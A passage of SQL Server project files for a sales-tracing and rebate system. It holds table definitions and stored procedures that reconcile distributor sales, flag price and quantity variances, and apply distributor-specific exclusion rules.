[CRM_INTEGRATION_LINK] VARCHAR (MAX) NULL,
[CBSA_CODE] VARCHAR (MAX) NULL,
[CBSA_POPULATION_EST_MOST_RECENT] INT NULL,
[CBSA_POPULATION_GROWTH_MOST_RECENT] VARCHAR (MAX) NULL,
[WEBSITE] VARCHAR (MAX) NULL,
[FIPS] INT NULL,
[FULL_CENSUS_TRACT] FLOAT (53) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/FTPOUT/Tables/E867HDR_DAILY_HIST.sql
CREATE TABLE [FTPOUT].[E867HDR_DAILY_HIST] (
[HDRCUS] VARCHAR (20) NOT NULL,
[HDRSEQ] DECIMAL (10) NOT NULL,
[VNDRPT] VARCHAR (30) NULL,
[RPTDTE] DECIMAL (8) NULL,
[SALRPT] CHAR (2) NULL,
[RPTEND] CHAR (3) NULL,
[RBTDTE] DECIMAL (8) NULL,
[SLSRGN] CHAR (3) NULL,
[REGION] VARCHAR (30) NULL,
[SELDBT] CHAR (3) NULL,
[DEBIT#] VARCHAR (30) NULL,
[BRCHDB] VARCHAR (22) NULL,
[BRANCH] VARCHAR (30) NULL,
[BRCHCD] VARCHAR (22) NULL,
[MFGMF] CHAR (3) NULL,
[MANNAM] VARCHAR (30) NULL,
[MANCD] VARCHAR (22) NULL,
[RPTSTR] CHAR (3) NULL,
[RPTSDTE] DECIMAL (8) NULL,
[HISA06] VARCHAR (15) NULL,
[HISA13] DECIMAL (9) NOT NULL,
[HST02] DECIMAL (9) NULL,
[HSTAT] CHAR (1) NULL,
[HSDTE] DECIMAL (8) NULL,
[CURRENT TIMESTAMP] VARCHAR (50) NULL,
CONSTRAINT [PK__E867HDR___DC38593365C34606] PRIMARY KEY CLUSTERED ([HDRCUS] ASC, [HDRSEQ] ASC, [HISA13] ASC) WITH (FILLFACTOR = 100),
CONSTRAINT [UQ__E867HDR___BC5ECDDA0831C594] UNIQUE NONCLUSTERED ([HDRCUS] ASC, [HDRSEQ] ASC) WITH (FILLFACTOR = 100)
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PRC_AUTH_TEST17.sql
CREATE TABLE [STAGE].[PRC_AUTH_TEST17] (
[COACCTID] VARCHAR (20) NULL,
[COACCTSHIPNAME] VARCHAR (100) NULL,
[COACCTSHIPADDR1] VARCHAR (100) NULL,
[COACCTSHIPCITY] VARCHAR (100) NULL,
[COACCTSHIPSTATE] VARCHAR (2) NULL,
[COACCTSHIPZIP] VARCHAR (10) NULL,
[SALES_AMT_PRIOR] INT NULL,
[SALES_AMT_CURR] INT NULL,
[NTWRK_AMT_PRIOR] INT NULL,
[NTWRK_AMT_CURR] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/RELATIONSHIP.sql
CREATE TABLE [STG0].[RELATIONSHIP] (
[COMPANYID] VARCHAR (MAX) NULL,
[PARENTCOMPANYID] VARCHAR (MAX) NULL,
[RELATIONSHIPTYPE] VARCHAR (MAX) NULL,
[PARENTIDNCOUNT] VARCHAR (MAX) NULL,
[DISTANCETOCHILD] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_CNT_ITEM.sql
CREATE TABLE [PCM].[PCM_CNT_ITEM] (
[CNT_ITM_PK] INT IDENTITY (1, 1) NOT NULL,
[REC_EFF_DT] DATE NOT NULL,
[REC_EXP_DT] DATE NOT NULL,
[REC_STAT_CD] CHAR (1) NOT NULL,
[Contract_ID_FK] INT NULL,
[CNT_NR] VARCHAR (20) NOT NULL,
[ITM_ID_FK] INT NULL,
[ITM_NR] VARCHAR (20) NOT NULL,
[ITM_EFF_DT] DATE NOT NULL,
[ITM_EXP_DT] DATE NOT NULL,
[ITM_EFF_DT_NR] INT NOT NULL,
[ITM_EXP_DT_NR] INT NOT NULL,
[ITM_UOM] CHAR (2) NOT NULL,
[ITM_PRC] DECIMAL (18, 2) NOT NULL,
[ITM_STAT_CD] CHAR (1) NULL,
[CREATE_DTTS] DATETIME NULL,
[CURR_VOL] DECIMAL (18) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_MAX_TO_DEFHC_CROSSWALK.sql
CREATE TABLE [STAGE].[PDI_MAX_TO_DEFHC_CROSSWALK] (
[HOSPITAL_ID] INT NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[CompanyId] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/SALES_TRACING_NON_EDI_ETL_OLD.sql
CREATE TABLE [STG0].[SALES_TRACING_NON_EDI_ETL_OLD] (
[MONTH] CHAR (2) NULL,
[DAY] CHAR (2) NULL,
[SALES PERIOD] VARCHAR (10) NULL,
[YEAR] CHAR (4) NULL,
[RPT Date] DECIMAL (8) NULL,
[DISTID] VARCHAR (48) NULL,
[DIST NO] VARCHAR (15) NULL,
[TRC Trans Type] VARCHAR (MAX) NULL,
[TRC Contract ID] VARCHAR (MAX) NULL,
[TRC Prod ID] VARCHAR (MAX) NULL,
[TRC Price Type] VARCHAR (MAX) NULL,
[Invoice ID] VARCHAR (MAX) NULL,
[Invoice Date] DATE NULL,
[nInvoice Date] VARCHAR (MAX) NULL,
[TRC Unit] VARCHAR (MAX) NULL,
[TRC Qty Sold] VARCHAR (MAX) NULL,
[TRC Contract Price] VARCHAR (MAX) NULL,
[TRC List Price] VARCHAR (MAX) NULL,
[TRC Dist Price] VARCHAR (MAX) NULL,
[TRC Rebate Amount] VARCHAR (MAX) NULL,
[Line_Nr] VARCHAR (MAX) NULL,
[ShipTo_CD] VARCHAR (MAX) NULL,
[ShipTo_NM] VARCHAR (MAX) NULL,
[ShipTo_ADD1] VARCHAR (MAX) NULL,
[ShipTo_ADD2] VARCHAR (MAX) NULL,
[ShipTo_City] VARCHAR (MAX) NULL,
[ShipTo_ST] VARCHAR (MAX) NULL,
[ShipTo_Zip] VARCHAR (MAX) NULL,
[ShipTo_Type] VARCHAR (MAX) NULL,
[EndUser_CD] VARCHAR (MAX) NULL,
[EndUser_NM] VARCHAR (MAX) NULL,
[EndUser_ADD1] VARCHAR (MAX) NULL,
[EndUser_ADD2] VARCHAR (MAX) NULL,
[EndUser_City] VARCHAR (MAX) NULL,
[EndUser_ST] VARCHAR (MAX) NULL,
[EndUser_ZIP] VARCHAR (MAX) NULL,
[EndUser_TYPE] VARCHAR (MAX) NULL,
[Debit_Memo] VARCHAR (MAX) NULL,
[CURRENT TIMESTAMP] VARCHAR (50) NOT NULL,
[Updated Contract ID] VARCHAR (30) NULL,
[Updated Prod ID] VARCHAR (48) NULL,
[TRC CS PRICE] DECIMAL (38, 8) NULL,
[CONT Exp Date] DATE NULL,
[TRC Updated Unit] CHAR (2) NULL,
[Updated CS Qty] DECIMAL (38, 8) NULL,
[Updated CS Price] DECIMAL (38, 4) NULL,
[TRC Sales Amt] DECIMAL (38, 8) NULL,
[Updated Sales Amt] DECIMAL (38, 8) NULL,
[TRC Variance] DECIMAL (38, 8) NULL,
[REBATE_STATUS_CD] CHAR (3) NULL,
[Updated Rebate Amt] DECIMAL (38, 8) NULL,
[SALES_CALC_IN] CHAR (1) NULL,
[RBT Contract ID] VARCHAR (30) NULL,
[Updated Price Type] CHAR (4) NULL,
[TRC UPDATED CS PRICE] DECIMAL (38, 4) NULL,
[ERROR CODE] VARCHAR (40) NULL,
[LIST CS Price] DECIMAL (38, 4) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/FTPOUT/Tables/E867SDTL_DAILY_HIST.sql
CREATE TABLE [FTPOUT].[E867SDTL_DAILY_HIST] (
[SDTCUS] VARCHAR (20) NOT NULL,
[SDDSEQ] DECIMAL (10) NOT NULL,
[SDLSEQ] DECIMAL (10) NOT NULL,
[SLLSEQ] DECIMAL (10) NOT NULL,
[QTYSQL] CHAR (2) NOT NULL,
[QTYSLD] DECIMAL (15) NOT NULL,
[QTYSUM] CHAR (3) NOT NULL,
[QTYOQL] CHAR (2) NOT NULL,
[QTYORG] DECIMAL (15) NOT NULL,
[QTYOUM] CHAR (3) NOT NULL,
[QTYKQL] CHAR (2) NOT NULL,
[QTYKRG] DECIMAL (15) NOT NULL,
[QTYKUM] CHAR (3) NOT NULL,
[QALCAT] CHAR (2) NOT NULL,
[CATNUM] VARCHAR (48) NOT NULL,
[QALSEL] CHAR (2) NOT NULL,
[SELNUM] VARCHAR (48) NOT NULL,
[CAUOM] CHAR (3) NOT NULL,
[CAPRC] DECIMAL (17, 3) NOT NULL,
[CACDE] CHAR (2) NOT NULL,
[CTUOM] CHAR (3) NOT NULL,
[CTPRC] DECIMAL (17, 3) NOT NULL,
[CTCDE] CHAR (2) NOT NULL,
[DIUOM] CHAR (3) NOT NULL,
[DIPRC] DECIMAL (17, 3) NOT NULL,
[DICDE] CHAR (2) NOT NULL,
[RSUOM] CHAR (3) NOT NULL,
[RSPRC] DECIMAL (17, 3) NOT NULL,
[RSCDE] CHAR (2) NOT NULL,
[AMTCTQ] CHAR (3) NOT NULL,
[AMTCT$] DECIMAL (17, 2) NOT NULL,
[AMTCCQ] CHAR (3) NOT NULL,
[AMTCC$] DECIMAL (17, 2) NOT NULL,
[REFCI] CHAR (3) NOT NULL,
[CIDESC] VARCHAR (30) NOT NULL,
[REFDI] CHAR (3) NOT NULL,
[DIDESC] VARCHAR (30) NOT NULL,
[REFIX] CHAR (3) NOT NULL,
[IXDESC] VARCHAR (30) NOT NULL,
[REFLI] CHAR (3) NOT NULL,
[LIDESC] VARCHAR (30) NOT NULL,
[REFPE] CHAR (3) NOT NULL,
[PEDESC] VARCHAR (30) NOT NULL,
[REFPO] CHAR (3) NOT NULL,
[PODESC] VARCHAR (30) NOT NULL,
[INVQAL] CHAR (3) NOT NULL,
[INVDTE] DECIMAL (8) NOT NULL,
[ORDQAL] CHAR (3) NOT NULL,
[ORDDTE] DECIMAL (8) NOT NULL,
[QALGTN] CHAR (2) NOT NULL,
[GTNNUM] VARCHAR (48) NOT NULL,
[RSVQAL] CHAR (2) NOT NULL,
[RSVPRD] VARCHAR (48) NOT NULL,
[REFBC] CHAR (3) NOT NULL,
[BCDESC] VARCHAR (30) NOT NULL,
[REFGLNO] CHAR (3) NOT NULL,
[GLNDESC] VARCHAR (30) NOT NULL,
[SISA06] VARCHAR (15) NOT NULL,
[SISA13] DECIMAL (9) NOT NULL,
[SST02] DECIMAL (9) NOT NULL,
[CURRENT TIMESTAMP] VARCHAR (50) NULL,
CONSTRAINT [UQ__E867SDTL__882B3200A6435E4C] UNIQUE NONCLUSTERED ([SDTCUS] ASC, [SDDSEQ] ASC, [SDLSEQ] ASC, [SLLSEQ] ASC) WITH (FILLFACTOR = 100)
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spSALES_TRACING_VAR_INV.sql
CREATE PROCEDURE [STAGE].[spSALES_TRACING_VAR_INV]
@vSales_Period varchar(10)=NULL, @vDist_NR varchar(48) = null
WITH EXEC AS CALLER
AS
BEGIN
TRUNCATE TABLE [TRC].[SALES_TRACING_VAR_INV];
INSERT INTO [TRC].[SALES_TRACING_VAR_INV]
( SALES_PERIOD, DIST_NR, DIST_ID, DIST_CNT_NR, DIST_PROD_ID, PDI_CNT_NR, PDI_PROD_ID, VC_CNT_NR, VC_PROD_ID, PDI_INV_ID, VC_INV_ID, PDI_INV_DT, VC_INV_DT, PDI_QtySold, VC_QtySold, PDI_SALESAMT, VC_SALESAMT, VAR_QTY_SOLD, VAR_SALES_AMT,PDI_PRC, VC_PRC )
SELECT PDI.SALES_PERIOD, PDI.DIST_NR , PDI.DIST_ID,
PDI.DIST_CNT_NR, PDI.DIST_PROD_ID, PDI.PDI_CNT_NR, PDI.PDI_PROD_ID,
VC_CNT_NR, VC.VC_PROD_ID, PDI.INV_ID, VC.DISTINVOICEID ,PDI.INV_DT_NR,VC.DISTINVOICEDATE,
PDI_QtySold,VC_QtySold,PDI_SALESAMT,VC_SALESAMT,
(PDI_QtySold - VC_QtySold) AS VAR_QTY_SOLD,
(PDI_SALESAMT - VC_SALESAMT) AS VAR_SALES_AMT,
CASE WHEN ISNULL(PDI_QtySold,0) <> 0 THEN (PDI_SALESAMT/PDI_QtySold) ELSE NULL END AS PDI_PRC,
CASE WHEN ISNULL(VC_QtySold,0) <> 0 THEN (VC_SALESAMT/VC_QtySold) ELSE NULL END AS VC_PRC
FROM
(
select SALES_PERIOD, DIST_NR , DIST_ID , INV_ID, INV_DT_NR,
ISNULL(TRC_CNT_ID,'NA') AS DIST_CNT_NR, TRC_PROD_ID AS DIST_PROD_ID,
ISNULL(UPD_CNT_ID,'NA') AS PDI_CNT_NR, UPD_PROD_ID AS PDI_PROD_ID,
CAST(sum(isnull(UPD_CS_QTY,0)) AS DECIMAL(18,2)) as PDI_QtySold,
CAST(sum(isnull(UPD_SALES_AMT,0)) AS DECIMAL(18,2)) as PDI_SALESAMT
from PDI_SALESTRACING_DEV.STAGE.SALES_TRACING_CURR
where
sales_period = ISNULL(@vSales_Period,sales_period)
AND DIST_NR = ISNULL(@vDist_NR,DIST_NR)
AND DIST_NR NOT IN ('131043','60652','38921')
AND SALES_PERIOD BETWEEN 20180701 AND 20190201
AND SLS_CALC_STAT <> 'N'
group by SALES_PERIOD, DIST_NR , DIST_ID ,INV_ID, INV_DT_NR,
TRC_CNT_ID, TRC_PROD_ID, UPD_CNT_ID, UPD_PROD_ID
) PDI
full OUTER JOIN
(
select SALESPERIOD, DISTCOID AS DIST_NR , DISTID, DISTINVOICEID , DISTINVOICEDATE,
ISNULL(DISTCONTID,'NA') AS DIST_CNT_NR, DISTITEMID AS DIST_PROD_ID,
COCONTID AS VC_CNT_NR, COITEMID AS VC_PROD_ID,
--convert(decimal,sum(COQTYSOLD),2) as VC_QtySold,
CAST(sum(isnull(COQTYSOLD,0)) AS DECIMAL(18,2)) as VC_QtySold,
CAST(sum(isnull(COTOTALSALESAMNT,0)) AS DECIMAL(18,2)) as VC_SALESAMT
from PDI_SALESTRACING_DEV.STAGE.DDS_PDI_SAF_EXTRACT
where
salesperiod = ISNULL(@vSales_Period ,salesperiod)
AND DISTCOID = ISNULL(@vDist_NR,DISTCOID)
AND DISTCOID NOT IN ('131043','60652','38921')
AND SALESPERIOD BETWEEN 20180701 AND 20190201
group by SALESPERIOD, DISTCOID, DISTID,DISTINVOICEID ,DISTINVOICEDATE, DISTCONTID, DISTITEMID,COCONTID,COITEMID
) VC
ON PDI.SALES_PERIOD = VC.SALESPERIOD AND PDI.DIST_NR = VC.DIST_NR AND PDI.DIST_CNT_NR = VC.DIST_CNT_NR AND PDI.DIST_PROD_ID = VC.DIST_PROD_ID
AND PDI.INV_ID = VC.DISTINVOICEID
;
UPDATE V
SET V.CORR_PRC = C.PROD_PRC
FROM [TRC].[SALES_TRACING_VAR_INV] V JOIN CNT.CNT_PROD C ON V.PDI_CNT_NR = C.CNT_NR AND V.PDI_PROD_ID = C.PROD_ID
WHERE C.REC_STAT_CD = 'A'
AND V.PDI_CNT_NR <> 'NA'
AND V.CORR_PRC IS NULL;
UPDATE V
SET V.CORR_PRC = D.CS_PRICE
FROM [TRC].[SALES_TRACING_VAR_INV] V JOIN STAGE.DIST_PRICE D ON D.ITEMID = V.PDI_PROD_ID AND D.DISTID = V.SALES_PERIOD
WHERE V.PDI_CNT_NR ='NA'
AND V.SALES_PERIOD BETWEEN D.EFFDATE AND D.EXPDATE
AND V.CORR_PRC IS NULL;
UPDATE V
SET V.CORR_PRC = L.CS_PRICE
FROM [TRC].[SALES_TRACING_VAR_INV] V JOIN STAGE.LIST_PRICE L ON V.PDI_PROD_ID = L.[ITEM NO]
WHERE V.PDI_CNT_NR ='NA'
AND V.CORR_PRC IS NULL;
UPDATE [TRC].[SALES_TRACING_VAR_INV]
SET ISSUE_WITH = 'TBD', ISSUE = 'QUANTITY'
WHERE (PDI_QtySold < -1.02*VC_QtySold OR PDI_QtySold > 1.02*VC_QtySold) ;
UPDATE [TRC].[SALES_TRACING_VAR_INV]
SET ISSUE_WITH = 'PDI', ISSUE = CASE WHEN ISSUE IS NULL THEN 'PRICE' ELSE ISSUE+'; '+'PRICE' END
WHERE VC_PRC BETWEEN -1.01*CORR_PRC AND 1.01*CORR_PRC
AND (PDI_PRC < -1.01*CORR_PRC OR PDI_PRC > 1.01*CORR_PRC);
UPDATE [TRC].[SALES_TRACING_VAR_INV]
SET ISSUE_WITH = 'VC', ISSUE = CASE WHEN ISSUE IS NULL THEN 'PRICE' ELSE ISSUE+'; '+'PRICE' END
WHERE PDI_PRC BETWEEN -1.01*CORR_PRC AND 1.01*CORR_PRC
AND (VC_PRC < -1.01*CORR_PRC OR VC_PRC > 1.01*CORR_PRC);
END<file_sep>/PDI_SALESTRACING_DEV/Security/MDM_STAGE.sql
CREATE SCHEMA [MDM_STAGE]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spTRC_VLDTN_ERROR_EDI.sql
CREATE PROCEDURE [STAGE].[spTRC_VLDTN_ERROR_EDI] @vSalesPeriod VARCHAR(10)
WITH EXEC AS CALLER
AS
BEGIN
-- Reset errod code column --
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [ERROR CODE] = NULL
WHERE [SALES PERIOD] = @vSalesPeriod;
-- Missing Records --
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [ERROR CODE] = 'Missing Records'
WHERE [SAF Sales Amt] IS NULL
AND [SALES PERIOD] = @vSalesPeriod
AND SALES_CALC_IN = 'Y';
-- Zero Priced Item --
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [ERROR CODE] = 'Zero Price Item'
WHERE
[CONT CS Price] = 0 AND
[Updated Price Type] = 'CONT' AND
ABS([SAF Sales Amt]) > 0
AND [TRC Prod ID] IN (SELECT DISTINCT [ITEM_NO]
FROM PDI_SALESTRACING.FTPOUT.CompanyItemsImport
WHERE UPPER([ITEM_DESCRIPTION]) LIKE '%BRACKET%')
AND [ERROR CODE] IS NULL
AND [SALES PERIOD] = @vSalesPeriod;
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [ERROR CODE] = 'Zero Price Item'
WHERE
[TRC Contract Price] = 0 AND [TRC List Price] = 0
AND ABS([SAF Sales Amt]) > 0
AND [TRC Prod ID] IN (SELECT DISTINCT [ITEM_NO]
FROM PDI_SALESTRACING.FTPOUT.CompanyItemsImport
WHERE UPPER([ITEM_DESCRIPTION]) LIKE '%BRACKET%')
AND [ERROR CODE] IS NULL
AND [SALES PERIOD] = @vSalesPeriod;
-- Expired Contract --
UPDATE S
SET S.[CONT Exp Date] = C.[Exp Date],
S.[ERROR CODE] = 'Expired Contract'
FROM [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN S
JOIN (SELECT [Contract ID], ITEMID, MAX([Exp Date]) AS [Exp Date]
FROM [PDI_SALESTRACING_TEST].[STAGE].[CONT_PRICE]
GROUP BY [Contract ID], ITEMID) C
ON (S.[Updated Contract ID] = C.[Contract ID]
AND S.[TRC Prod ID] = C.ITEMID
AND S.[Invoice Date] > DATEADD(m,1,C.[Exp Date]) )
WHERE S.[TRC Price Type] = 'CONT'
AND S.[Updated Price Type] = 'LIST'
AND S.[ERROR CODE] IS NULL
AND S.[SALES PERIOD] = @vSalesPeriod;
--- INVALID CONTRACT ID --
UPDATE S
SET
S.[ERROR CODE] = 'Invalid Contract ID'
FROM [PDI_SALESTRACING_TEST].[STAGE].[SALES_TRACING_VALDN] S
LEFT JOIN [PDI_SALESTRACING_TEST].[STAGE].[CONT_PRICE] C
ON S.[Updated Contract ID] = C.[Contract ID]
WHERE S.[TRC Price Type] = 'CONT'
AND S.[Updated Price Type] = 'LIST'
AND C.[Contract ID] IS NULL
AND S.[ERROR CODE] IS NULL
AND S.[SALES PERIOD] = @vSalesPeriod;
--- INVALID PRODUCT IN THE CONTRACT
UPDATE S
SET -- S.[Updated Price Type] = 'LIST',
S.[ERROR CODE] = 'Invalid Product in Contract'
FROM [PDI_SALESTRACING_TEST].[STAGE].[SALES_TRACING_VALDN] S
LEFT JOIN
(SELECT DISTINCT [Contract ID], ITEMID
FROM [PDI_SALESTRACING_TEST].[STAGE].[CONT_PRICE]
WHERE [Contract ID] IN
(SELECT DISTINCT [TRC Contract ID]
FROM [PDI_SALESTRACING_TEST].[STAGE].[SALES_TRACING_VALDN]
WHERE [TRC Price Type] = 'CONT'
AND [Updated Price Type] = 'LIST')) C
ON S.[TRC Contract ID] = C.[Contract ID]
AND S.[TRC Prod ID] = C.ITEMID
WHERE [TRC Price Type] = 'CONT'
AND S.[Updated Price Type] = 'LIST'
AND C.ITEMID IS NULL
AND S.[ERROR CODE] IS NULL
AND S.[SALES PERIOD] = @vSalesPeriod;
-- Contract Price High --
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [ERROR CODE] = 'Contract Price High'
WHERE (([SAF Sales Amt]/[SAF Qty]) - [Updated CS Price] ) > 0.01 -- 1 FOR ROUNDING ERROR
AND ABS([Updated Sales Amt] - [SAF Sales Amt]) > 0.02
AND [Updated Price Type] = 'CONT'
AND [CONT CS Price] > 0
AND [ERROR CODE] IS NULL
AND [SALES PERIOD] = @vSalesPeriod;
-- Contract Grace Period
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [ERROR CODE] = 'Contract Grace Period'
WHERE [ERROR CODE] = 'Contract Price High'
AND [Invoice Date] BETWEEN [CONT Exp Date] AND DATEADD(m,1,[CONT Exp Date])
AND [SALES PERIOD] = @vSalesPeriod;
-- Contract Price Low --
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [ERROR CODE] = 'Contract Price Low'
WHERE (([SAF Sales Amt]/[SAF Qty]) - [Updated CS Price] ) < -0.01 -- 1 FOR ROUNDING ERROR
AND ABS([Updated Sales Amt] - [SAF Sales Amt]) > 0.02
AND [Updated Price Type] = 'CONT'
AND [CONT CS Price] > 0
AND [ERROR CODE] IS NULL
AND [SALES PERIOD] = @vSalesPeriod;
-- LIST PRICE VARIANCE --
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [ERROR CODE] = 'List Price Different'
WHERE ABS(([SAF Sales Amt]/[SAF Qty]) - [Updated CS Price] ) > 0.01 -- 1 FOR ROUNDING ERROR
AND ABS([Updated Sales Amt] - [SAF Sales Amt]) > 0.02
AND [Updated Price Type] = 'LIST'
AND [LIST CS Price] > 0
AND [ERROR CODE] IS NULL
AND [SALES PERIOD] = @vSalesPeriod;
-- ROUNDING ERROR --
UPDATE [PDI_SALESTRACING_TEST].STAGE.SALES_TRACING_VALDN
SET [ERROR CODE] = 'Rounding/ Other Error'
WHERE ABS([Updated Sales Amt] - [SAF Sales Amt]) > 0.02
AND [ERROR CODE] IS NULL
AND [SALES PERIOD] = @vSalesPeriod;
END
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TRC_UOM_CORR_XREF.sql
CREATE TABLE [STAGE].[TRC_UOM_CORR_XREF] (
[DIST_NR] VARCHAR (20) NULL,
[DIST_ID] VARCHAR (20) NULL,
[TRC_UOM] VARCHAR (5) NULL,
[UPD_UOM] VARCHAR (2) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spSALES_TRACING_PROCESS_RBT.sql
CREATE PROCEDURE [STAGE].[spSALES_TRACING_PROCESS_RBT]
@vSales_Period varchar(10), @vDist_Id varchar(48) = null
WITH EXEC AS CALLER
AS
BEGIN
-----------------------------------------------------------------
--- This one is to combine both EDI AND NONEDI data ---
-----------------------------------------------------------------
/*
The approach is to us UPDT columns for all calculatins and keep the original data fields intact.
During loading SLS_CALC_STAT should be turned to 'P' and then the calculation should only be done on 'P'
At the end - all clauclated rows should be turned to 'C' for completion, 'E" for exception
Step 1: correct invalid products and contracts from prior reconciliations saved in corr xref table
Step 2: raise exception, add error codes and SLS_CALC_IN = 'N' for those
Step 3: Determine Price type derived from tracing data
Step 4: Calculate UOM
Step 5: Calculate Case Prices with Contract Sale Validation -
Step 6: Exception if expired or product not on contract
---- SLS_CALC_STAT ---
'P' = Pending - all new records, whihc requries calculation
'N' = Not Applicable -- transactions for which no calculations are to be done, such as IB or zero quantity etc
'E' = Exclude - for unknown product or undetermined UOM
'C' = Complete - calculations are complete
However, all records with an error code will always be pending calculations and should remain in 'P' status
*/
--BEGIN TRAN
--select 'begin'
-- Add SLS_CALC_STAT = 'P' to all calculation segments
-- Add is null to SALES_PERIOD parameter
-- May not need SLS_CALC_IN - will figure that one later
--****************************************************************************
-- INITIALIZE
--*****************************************************************************
--- EXCLUDE RECORDS WITH ZERO QUANTITY
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [SLS_CALC_STAT] = 'N'
WHERE [TRC_QTY_SLD] = 0
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID]);
-- Special requirement for Florida Hospital
-- Remove warehouse, because it is interbranch transfer
UPDATE STAGE.SALES_TRACING_CURR
SET SLS_CALC_STAT = 'N'
WHERE DIST_NR ='60652'
AND SHPTO_NM = 'FLORIDA HOSPITAL WAREHOUSE'
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD]);
------------------------------
-- Flag zero or -ve quantity --
-------------------------------
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET TRC_TRNS_TYP = CASE
WHEN TRC_QTY_SLD < 0 THEN 'RP'
WHEN TRC_QTY_SLD = 0 THEN 'ZQ'
ELSE 'SS' END
WHERE TRC_TRNS_TYP IS NULL
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND [DIST_ID] = isnull(@vDIst_Id,[DIST_ID])
AND SRC_FILE_TYP = 'BLK' ; -- may need to do for both edi and blk
-----------------------------------------------------------------------------------
-- Other Specific Business Rules - which also should be done through exception table
----------------------------------------------------------------------------------
-- For PALMTREE following are to be excluded --
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET TRC_TRNS_TYP ='DD'
WHERE DIST_NR = '150258'
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND (SHPTO_NM IN
('APN HEALTHCARE INC.','BIO-MEDIC HEALTH SERVICES INC.','GERICARE MEDICAL SUPPLY',
'MANHEIM MEDICAL SUPPLY INC.','MEDFIRST HEALTHCARE SUPPLY INC.','MIDLAND MEDICAL',
'RESOURCE SERVICES')
OR BILLTO_NM IN
('APN HEALTHCARE INC.','BIO-MEDIC HEALTH SERVICES INC.','GERICARE MEDICAL SUPPLY',
'MANHEIM MEDICAL SUPPLY INC.','MEDFIRST HEALTHCARE SUPPLY INC.','MIDLAND MEDICAL',
'RESOURCE SERVICES') );
-- NDC, MEDPLUS --
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET TRC_TRNS_TYP ='DD'
WHERE DIST_NR IN ('132550','C00102')
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND BILLTO_ID IN
('100009','100010','100017','100051','110005','110068','500104','710293','720254','720217');
-- MEDLINE DYNACOR --
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET TRC_TRNS_TYP = 'IB'
WHERE DIST_NR = '131065'
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND SHPTO_ID = ('0001393208') ;
-- MEDLINE DYNACOR --
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET TRC_TRNS_TYP = 'IB'
WHERE DIST_NR = '131065' -- IN ('131043','131065','131045','131060','131067')
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND SHPTO_NM LIKE '%STONE MEDICAL%' ;
-- FLORIDA HOSPITAL --
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET TRC_TRNS_TYP = 'IB'
WHERE DIST_NR = '60652'
AND [SLS_CALC_STAT] = 'P'
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD])
AND SHPTO_ADDR_1 LIKE '2135 Sprint%' ;
--- CHURCH --
-- Church does not provide any price information - so eaches will be converted to EA
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [TRC_UNIT] =
CASE
WHEN UPPER([TRC_UNIT])IN ('BX','EA','CS') THEN [TRC_UNIT]
WHEN UPPER([TRC_UNIT]) IN ('TU','TB','BG','PK','PH', 'BOX', 'BOXES','CN') THEN 'BX'
WHEN UPPER([TRC_UNIT]) = 'CA' THEN 'CS'
WHEN UPPER([TRC_UNIT]) LIKE 'EA%' THEN 'EA'
END
WHERE DIST_NR = '32040'
AND [SLS_CALC_STAT] IN ('P','E')
AND [SALES_PERIOD] = isnull(@vSales_Period,[SALES_PERIOD]);
-- MEDLINE CRITICAL CARE --
-- Place Holder --
--- Final ---
UPDATE [PDI_SALESTRACING_DEV].[STAGE].[SALES_TRACING_CURR_MEDLINE_RBT]
SET [SLS_CALC_STAT] = 'N'
